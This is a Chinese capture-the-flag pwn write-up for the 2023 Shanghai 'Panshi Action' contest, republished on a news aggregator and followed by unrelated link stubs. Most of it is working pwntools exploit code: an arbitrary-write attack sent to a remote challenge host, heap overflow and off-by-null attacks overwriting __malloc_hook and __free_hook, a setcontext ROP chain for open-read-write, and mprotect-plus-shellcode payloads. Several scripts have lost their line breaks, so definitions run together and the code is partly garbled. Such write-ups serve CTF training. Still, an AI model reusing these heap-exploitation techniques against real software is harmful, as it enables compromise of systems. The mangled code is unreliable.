2023上海“磐石行动”pwn wp

news/2024/11/29 3:51:31/

Changeaddr
 

任意地址写,控制程序执行getflag函数

from pwn import *
context.log_level='debug'
#r=process("./ChangeAddr")
r=remote('116.236.144.37',28526)
r.recvuntil("Now you can write one 4 byte value to memory. Where would you like to write?")
r.sendline("0804C01C")
r.recvuntil("?")
r.sendline("0804932C")
r.recvuntil("segment fault!")
#gdb.attach(r)
r.sendline("aaaaaa4564564aaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd")
r.interactive()

Keybox

2.23堆溢出

from pwn import *
context.log_level='debug'
r=process('./KeyBox')
elf=ELF('./KeyBox')
libc=elf.libcr.sendlineafter("Input the first key: ",str(-0x1fffffffffFFFFF4))
r.sendlineafter("Input the second key: ",'1')def show():r.sendlineafter("Your choice:",'1')def add(size,content):r.sendlineafter("Your choice:",'2')r.sendlineafter("Please enter the length of the item:",str(size))r.sendafter("Please enter the name of item:",content)
def edit(idx,size,content):r.sendlineafter("Your choice:",'3')r.sendlineafter("Please enter the index of item:",str(idx))r.sendlineafter("Please enter the length of item:",str(size))r.sendlineafter("Please enter the new name of the item:",content)
def delete(idx):r.sendlineafter("Your choice:",'4')r.sendlineafter("Please enter the index of item:",str(idx))add(0x10,'a'*0x10)#0
add(0x10,'c'*0x10)#1
add(0x20,'a')#2
add(0x68,'a')#3
add(0x20,'a')#4
add(0x68,'a')#5
add(0x68,'a')#6edit(0,0x30,b'a'*0x10+p64(0)+p64(0xf1))
delete(1)
add(0x10,'a')#1
show()
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10-libc.sym['__malloc_hook']
print("libc_base------------>",hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']-0x23
system=libc_base+libc.sym['system']
add(0xc1,'a')delete(6)
edit(5,0xf0,b'a'*0x68+p64(0x71)+p64(malloc_hook))
add(0x68,'/bin/sh\x00')#6
add(0x68,b'a'*0x13+p64(0x401765))
r.sendlineafter("Your choice:",'2')
r.sendlineafter("Please enter the length of the item:",str(0x20))# gdb.attach(r)
r.interactive()

ssql

 程序实现了用堆块进行数据库管理,一共有申请,释放,编辑,打印四个功能。首先是创建table,然后每个table可以创建多个column,需要逆向出数据库这四个功能的对应语句结构,才能使用这四个功能。

漏洞点就是edit函数的strcpy末尾多加\x00,造成offbynull。

通过溢出0字节,可以改堆块指针,同时在对应的地方伪造一个chunk造成堆块重叠。

from pwn import *
context.log_level='debug'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libcdef add(idx):r.sendafter("mysql > ",'CREATE TABLE {}'.format(idx))def delete(idx):r.sendafter("mysql > ",'DELETE TABLE {}'.format(idx))def show(idx):r.sendafter("mysql > ",'SHOW  TABLE {}'.format(idx))def add_c(c,idx):r.sendafter("mysql > ",'CREATE {} TABLE {}'.format(c,idx))def delete_c(c,idx):r.sendafter("mysql > ",'DELETE {} FROM {}'.format(c,idx))def edit_c(c,idx,name,content):r.sendafter("mysql > ",'EDIT {} FROM {}'.format(c,idx))r.sendafter("Column name:",name)r.sendafter("Column Content: ",content)#----------------leak_heap-----------------
add(1)
add_c(0,1)
add_c(1,1)
delete_c(1,1)
delete_c(0,1)
add_c(0,1)
show(1)
r.recvuntil("Column Content: ")
heap_base=u64(r.recv(6).ljust(8,b'\x00'))-0x470
print("heap_base------------>",hex(heap_base))#---------------------leak_libc-----------------
for i in range(6):add_c(i+1,1)
payload=b'\x00'*0xc0+p64(0)+p64(0x541)+p64(0x31)+p64(0)+p64(heap_base+0x400)
edit_c(0,1,b'a'*0x10,payload)
delete(1)
add(1)
add_c(0,1)
add_c(1,1)
show(1)
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
print("libc_base----------->",hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
ogg=libc_base+one_gadget[1]
add_c(2,1)
add_c(3,1)
edit_c(0,1,b'a'*0x10,b'b'*0xc0+p64(0)+p64(0x31)*2+p64(0)+p64(heap_base+0x540)+p64(heap_base+0x300)+p64(heap_base+0x590))
edit_c(2,1,b'a'*7,b'\x00'*0x10+p64(heap_base+0x590)+p64(0x111))
delete(1)
add(1)
add_c(0,1)
add_c(1,1)edit_c(1,1,b'a'*7,p64(0)*3+p64(0x111)+p64(free_hook))
add_c(2,1)
add_c(3,1)
edit_c(3,1,b'a'*0x10,p64(ogg))
delete(1)
# gdb.attach(r)
r.interactive()

hp

这个题主要是逆向难度大,需要逆向出堆块申请等功能对应的语句,不过跟http协议头有点类似。

 首先要调用login函数让dword_5280=1,然后才能执行其他功能。

漏洞点在edit函数中有一个offbynull

由于这个题有沙箱,因此需要orw读取flag。

思路1:先改freehook为setcontext,然后在对应堆块中写orw链并执行。

思路2:改freehook为setcontext,然后执行mprotect将heap段权限改为7,然后在对应堆块里写shellcode:开辟内存写flag,调用32位open,rw。

exp1

from pwn import *
context.log_level='debug'
context.arch='amd64'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
def login():payload='POST /login HTTP/1.0 \nUsername:'+'a'*0x20+'\x01\n'+'Password:aaaa\r\n\n'r.sendafter("parser> ",payload)
def add(cont):payload='POST /create HTTP/1.0 \nContent-Length:'+str(len(cont)-1)+'\r\n\r\n'+contr.sendafter("parser> ",payload)
def delete(idx):payload='POST /delete HTTP/1.0 \nIdx:' + str(idx)+"\n"+"Content-Length:1"+"\n" + '\r\n\r\n'r.sendafter("parser> ",payload)
def show(idx):payload='POST /show HTTP/1.0 \nIdx:' + str(idx)+"\n"+"Content-Length:1"+"\n" + '\r\n\r\n'r.sendafter("parser> ",payload)
def edit(idx,cont):payload='POST /edit HTTP/1.0 \nIdx:' + str(idx) +'\n'+"Content-Length:"+str(len(cont)-1)+'\r\n\r\n'+contr.sendafter("parser> ",payload)#------------leak----------------------#
login()
add('a'*0x440)#0
add('a'*2)#1
delete(0)
add('a'*0x18)#0
show(0)
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x410-96-libc.sym['__malloc_hook']
print("libc_base------------->",hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']
r.recv(10)
heap_base=u64(r.recv(6).ljust(8,b'\x00'))-0x250
print("heap_base----------->",hex(heap_base))
pop_rax_ret = libc_base + 0x000000000001b500
pop_rdi_ret= libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
syscall_ret = libc_base + 0x00000000000d2625
open_=libc_base+libc.sym['open']
add('a'*0x420)#2
add('a'*0x439)#3
for i in range(3):#456add('a'*0x109)add('a'*0x4f0)#7
add('c'*0x20)#8
edit(6,'a'*0x108+'\x01')
for i in range(8,-1,-1):edit(6,'a'*(0x100+i)+'\x01')
edit(6,'a'*0x101+p16(0x440+0x330).decode())
delete(3)
delete(7)
add('a'*0x400)#3
delete(4)
add('b'*0x50)#4
edit(4,'a'*0x31+p64(free_hook)[0:6])
add('a'*0x109)#7
add('b'*0x109)#9
edit(9,'a'+p64(setcontext+53)[0:6])
add('b'*0x500)#10flag_addr=heap_base+0xb40
data=free_hook+0x100
orw={0x98:{0x0:heap_base+0xc40,0x8:pop_rdi_ret+1},0xf8:{0x0:[pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_,pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)0,pop_rdi_ret,3,pop_rsi_ret,heap_base+0x200,pop_rdx_ret,0x40,syscall_ret,pop_rax_ret,  # sys_write(1, heap, 0x100)1,pop_rdi_ret,1,pop_rsi_ret,heap_base+0x200,pop_rdx_ret,0x40,syscall_ret]}}payload='flag\x00\x00\x00\x00'+flat(orw)i = len(payload) - 1
while i >= 0:if payload[i] == '\x00':edit(10,'a'+ 'b' * i)i = i - 1else:j = iwhile payload[j] != '\x00':j = j - 1edit(10,'a'+ 'b' * (j + 1) + payload[j + 1: i + 1])i = j
gdb.attach(r)
delete(10)r.interactive()

 exp2

from pwn import *
context.log_level='debug'
context.arch='amd64'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
def login():payload='POST /login HTTP/1.0 \nUsername:'+'a'*0x20+'\x01\n'+'Password:aaaa\r\n\n'r.sendafter("parser> ",payload)
def add(cont):payload='POST /create HTTP/1.0 \nContent-Length:'+str(len(cont)-1)+'\r\n\r\n'+contr.sendafter("parser> ",payload)
def delete(idx):payload='POST /delete HTTP/1.0 \nIdx:' + str(idx)+"\n"+"Content-Length:1"+"\n" + '\r\n\r\n'r.sendafter("parser> ",payload)
def show(idx):payload='POST /show HTTP/1.0 \nIdx:' + str(idx)+"\n"+"Content-Length:1"+"\n" + '\r\n\r\n'r.sendafter("parser> ",payload)
def edit(idx,cont):payload='POST /edit HTTP/1.0 \nIdx:' + str(idx) +'\n'+"Content-Length:"+str(len(cont)-1)+'\r\n\r\n'+contr.sendafter("parser> ",payload)#------------leak----------------------#
login()
add('a'*0x440)#0
add('a'*2)#1
delete(0)
add('a'*0x18)#0
show(0)
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x410-96-libc.sym['__malloc_hook']
print("libc_base------------->",hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']
mprotect=libc_base+libc.sym['mprotect']
r.recv(10)
heap_base=u64(r.recv(6).ljust(8,b'\x00'))-0x250
print("heap_base----------->",hex(heap_base))add('a'*0x420)#2
add('a'*0x439)#3
for i in range(3):#456add('a'*0x109)add('a'*0x4f0)#7
add('c'*0x20)#8
edit(6,'a'*0x108+'\x01')
for i in range(8,-1,-1):edit(6,'a'*(0x100+i)+'\x01')
edit(6,'a'*0x101+p16(0x440+0x330).decode())
delete(3)
delete(7)
add('a'*0x400)#3
delete(4)
add('b'*0x50)#4
edit(4,'a'*0x31+p64(free_hook)[0:6])
add('a'*0x109)#7
add('b'*0x109)#9
edit(9,'a'+p64(setcontext+53)[0:6])
add('b'*0x500)#10frame=SigreturnFrame()
frame.rdi=heap_base
frame.rsi=0x1000
frame.rdx=0x7
frame.rip=mprotect
frame.rsp=heap_base+0xc38shellcode='''mov rax, 192     mov rbx, 0x400000mov rcx, 0x1000mov rdx, 7mov rsi, 0x100022mov rdi, 0int 0x80mov rsp, 0x400108push 0x67616c66mov rax, 5       mov rbx, 0x400100mov rcx, 0mov rdx, 0int 0x80mov rdi, 3  mov rax, 0mov rsi, rspmov rdx, 0x50syscallmov rax,1          mov rdi,1syscall'''payload = str(frame)+p64(heap_base+0xc40)+asm(shellcode,arch='amd64')
i = len(payload) - 1
while i >= 0:if payload[i] == '\x00':edit(10,'a'+ 'b' * i)i = i - 1else:j = iwhile payload[j] != '\x00':j = j - 1edit(10,'a'+ 'b' * (j + 1) + payload[j + 1: i + 1])i = j
gdb.attach(r)
delete(10)
r.interactive()

执行得flag

 


http://www.ppmy.cn/news/179960.html

相关文章

腾讯难成算法帝国

腾讯难成算法帝国 https://mp.weixin.qq.com/s/ceVUyuVeYtCPOCSgMNAStg 本文从一个全新的角度——数据及算法,对腾讯这家公司抽丝剥茧,进行了全面的分析。作者认为,如果腾讯能够重视大数据并极大提升它的算法,并利用算法进行更有…

25个深度学习相关公开数据集

作者:磐石 目录 介绍图像处理相关自然语言处理相关语音处理相关Supplement 一.介绍 通常来说,深度学习的关键在于实践。从图像处理到语音识别,每一个细分领域都有着独特的细微差别和解决方法。 然而,你可以从哪里获…

Google AI推出新的大规模目标检测挑战赛

来源 | Towards Data Science 整理 | 磐石 就在几天前,Google AI在Kaggle上推出了一项名为Open Images Challenge的大规模目标检测竞赛。当今计算机视觉社区已经很长一段时间没有进行如此新的大规模竞赛,这对视觉研究者来说绝对是一个令人振奋的消息。 …

服务器RAID及磁盘配额的配置

1、RAID 简介 RAID(Redundant Array of Inexpensive Disks)称为廉价磁盘冗余阵列。RAID 的基本想法是把多个便 宜的小磁盘组合到一起,成为一个磁盘组,使性能达到或超过一个容量巨大、价格昂贵的磁盘。 目前 RAID 技术大致分为两种…

听说你要跳槽啦?

如果你需要户口,你应该挑选可以给你户口的企业; 如果你需要编制,你就应该优先选择给你编制的企业; 如果你需要历练,那么就去挑选有成长潜力的企业; 如果你想要退休,那么去稳定的大公司的稳定…

淘宝历程四--淘宝技术发展(Java时代:坚若磐石)

已经有读者在迫不及待的问怎么去掉了IOE,别急,在去掉IOE之前还有很长的路要走。行癫他们买回来小型机之后,我们用上了Oracle,七公带着一帮 DBA在优化SQL和存储,行癫带着几个架构师在研究数据库的扩展性。Oracle本身是一…

淘宝技术发展(Java时代:坚若磐石)第五章

已经有读者在迫不及待的问怎么去掉了IOE,别急,在去掉IOE之前还有很长的路要走。行癫他们买回来小型机之后,我们用上了Oracle,七公带着一帮DBA在优化SQL和存储,行癫带着几个架构师在研究数据库的扩展性。Oracle本身是一…

BIGO全球音视频技术解决方案

BIGO从2014年创立至今一直聚焦在全球范围提供音视频服务,短短五年时间已稳定进入全球App收入排行榜前十。旗下全球视频直播社区Bigo live,短视频内容创作平台Likee,音视频通讯imo服务于全球150个国家的4亿多用户,已形成了涵盖「实…